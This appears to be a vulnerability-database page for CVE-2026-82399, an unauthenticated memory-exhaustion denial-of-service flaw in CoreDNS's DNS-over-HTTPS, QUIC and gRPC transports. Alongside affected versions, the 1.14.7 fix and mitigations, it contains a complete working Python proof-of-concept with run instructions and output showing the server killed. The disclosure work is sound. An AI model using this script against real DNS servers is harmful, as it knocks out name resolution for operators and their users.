CVE-2026-82399 is a high-severity (CVSS 7.5) CWE-770 vulnerability in github.com/coredns/coredns. A fix is available for github.com/coredns/coredns — see the affected versions and patch details below.
CoreDNS: Unauthenticated memory exhaustion in custom transports
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-82399.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/coredns/corednsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
CoreDNS parses attacker-controlled DNS section counts before validating them on DNS-over-HTTPS (DoH and DoH3), DNS-over-QUIC (DoQ), and DNS-over-gRPC listeners. An unauthenticated client can use DNS name compression to make one 65,533-byte request allocate more than 10 MiB while it is unpacked. Concurrent requests can exhaust memory and terminate CoreDNS.
Details
The affected request paths call dns.Msg.Unpack directly:
- DoH POST and GET decoding. DoH3 uses the same decoder.
- DoQ stream handling.
- DNS-over-gRPC query handling.
This differs from the miekg/dns UDP and TCP server. Its serveDNS path decodes the fixed 12-byte header and invokes DefaultMsgAcceptFunc before unpacking the DNS sections. The default policy rejects requests unless QDCOUNT is exactly one and also limits the other section counts. CoreDNS's custom transports bypass this early validation.
Parsing happens before the plugin chain. Plugin-level rate limiting or request handling cannot prevent the allocation. The fix is to apply dns.DefaultMsgAcceptFunc to the fixed header before calling Msg.Unpack in each custom request transport. Response decoding must remain separate because the request policy intentionally rejects response headers.
PoC
The PoC runs against the DoH server.
Run the following from a clean checkout of CoreDNS v1.14.6. Docker must support container memory limits. The example uses the test certificate already present in the repository and publishes the test service only on loopback.
Save this as Corefile.cd01:
https://.:8053 {
tls /cert.pem /key.pem
whoami
}
Save this standard-library client as poc-cd01.py:
#!/usr/bin/env python3
import argparse
import concurrent.futures
from collections import Counter
import http.client
import ssl
import struct
def normal_query():
header = struct.pack("!HHHHHH", 0x1234, 0x0100, 1, 0, 0, 0)
question = b"\x07example\x03org\x00" + struct.pack("!HH", 1, 1)
return header + question, 1
def attack_query():
message = bytearray(65535)
offset = 12
name_offset = offset
for size in (63, 63, 63, 61):
message[offset] = size
offset += 1
message[offset : offset + size] = b"\x01" * size
offset += size
message[offset] = 0
offset += 1
struct.pack_into("!HH", message, offset, 1, 1)
offset += 4
questions = 1
while offset + 6 <= len(message):
struct.pack_into("!HHH", message, offset, 0xC000 | name_offset, 1, 1)
offset += 6
questions += 1
struct.pack_into(
"!HHHHHH", message, 0, 0x1234, 0x0100, questions, 0, 0, 0
)
return bytes(message[:offset]), questions
def send(payload):
context = ssl._create_unverified_context()
connection = http.client.HTTPSConnection(
"127.0.0.1", 18053, timeout=3, context=context
)
try:
connection.request(
"POST",
"/dns-query",
body=payload,
headers={"Content-Type": "application/dns-message"},
)
response = connection.getresponse()
response.read()
return f"http-{response.status}"
except Exception:
return "error"
finally:
connection.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--normal", action="store_true")
parser.add_argument("--workers", type=int, default=1)
args = parser.parse_args()
payload, questions = normal_query() if args.normal else attack_query()
print(
f"payload={len(payload)} questions={questions} workers={args.workers}"
)
with concurrent.futures.ThreadPoolExecutor(args.workers) as pool:
results = pool.map(send, [payload] * args.workers)
print(Counter(results))
if __name__ == "__main__":
main()
Build the Linux binary and container image:
GOCACHE=/tmp/coredns-gocache \
GOOS=linux GOARCH="$(go env GOARCH)" CGO_ENABLED=0 \
go build -tags=grpcnotrace -o coredns .
docker build --tag coredns-cd01:vulnerable .
Start CoreDNS with a 64 MiB memory and swap limit:
docker run --detach --name coredns-cd01 \
--memory 64m --memory-swap 64m \
--publish 127.0.0.1:18053:8053/tcp \
--volume "$PWD/Corefile.cd01:/Corefile:ro" \
--volume "$PWD/plugin/tls/test_cert.pem:/cert.pem:ro" \
--volume "$PWD/plugin/tls/test_key.pem:/key.pem:ro" \
coredns-cd01:vulnerable -conf /Corefile
Confirm that the listener works and that one malicious request is accepted:
$ python3 poc-cd01.py --normal
payload=29 questions=1 workers=1
Counter({'http-200': 1})
$ python3 poc-cd01.py
payload=65533 questions=10878 workers=1
Counter({'http-200': 1})
Send 32 malicious requests concurrently and inspect the container:
$ python3 poc-cd01.py --workers 32
payload=65533 questions=10878 workers=32
Counter({'error': 32})
$ docker inspect --format '{{.State.Status}} OOMKilled={{.State.OOMKilled}} ExitCode={{.State.ExitCode}}' coredns-cd01
exited OOMKilled=true ExitCode=137
OOMKilled=true confirms that the container was terminated by memory exhaustion rather than a CoreDNS configuration error.
Impact
This is an unauthenticated denial-of-service vulnerability. Deployments are affected when DoH, DoH3, DoQ, or DNS-over-gRPC is exposed to an attacker. The ordinary miekg/dns UDP and TCP listeners are not affected because they perform the header acceptance check before unpacking.
In the validated configuration, 32 requests OOM-killed a CoreDNS container limited to 64 MiB. Higher memory limits increase the number of concurrent requests required but do not remove the allocation amplification. Successful exploitation interrupts DNS service.
CoreDNS versions v007 through v1.14.6 are affected when DNS-over-gRPC is exposed. DoH is affected from v1.1.3, DoQ from v1.11.0, and DoH3 from v1.13.2.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/coredns/coredns | all versions | 1.14.7go get github.com/coredns/coredns@v1.14.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/coredns/coredns, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/coredns/coredns to 1.14.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-82399 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A denial of service vulnerability was found in CoreDNS, a DNS server written in Go. Prior to version 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC request paths call dns.Msg.Unpack on attacker-controlled DNS section counts before dns. DefaultMsgAcceptFunc validates the fixed header. An…
There is no complete mitigation available for this issue without upgrading. However, administrators can reduce risk by implementing the following interim measures: 1. If DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, or DNS-over-gRPC are not required, disable these custom transport protocols and use only standard UDP/TCP DNS, which is not affected by this vulnerability. 2. Implement network-level rate limiting for HTTPS and QUIC traffic to CoreDNS endpoints to reduce the effectiveness of concurrent memory exhaustion attacks. 3. Configure resource limits (memory limits) for CoreDNS pods to prevent a single CoreDNS instance from consuming all node memory, and ensure sufficient pod replicas…Source: Red Hat security advisory for CVE-2026-82399 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-82399 in your dependencies?
Find it across Go, including transitive dependencies.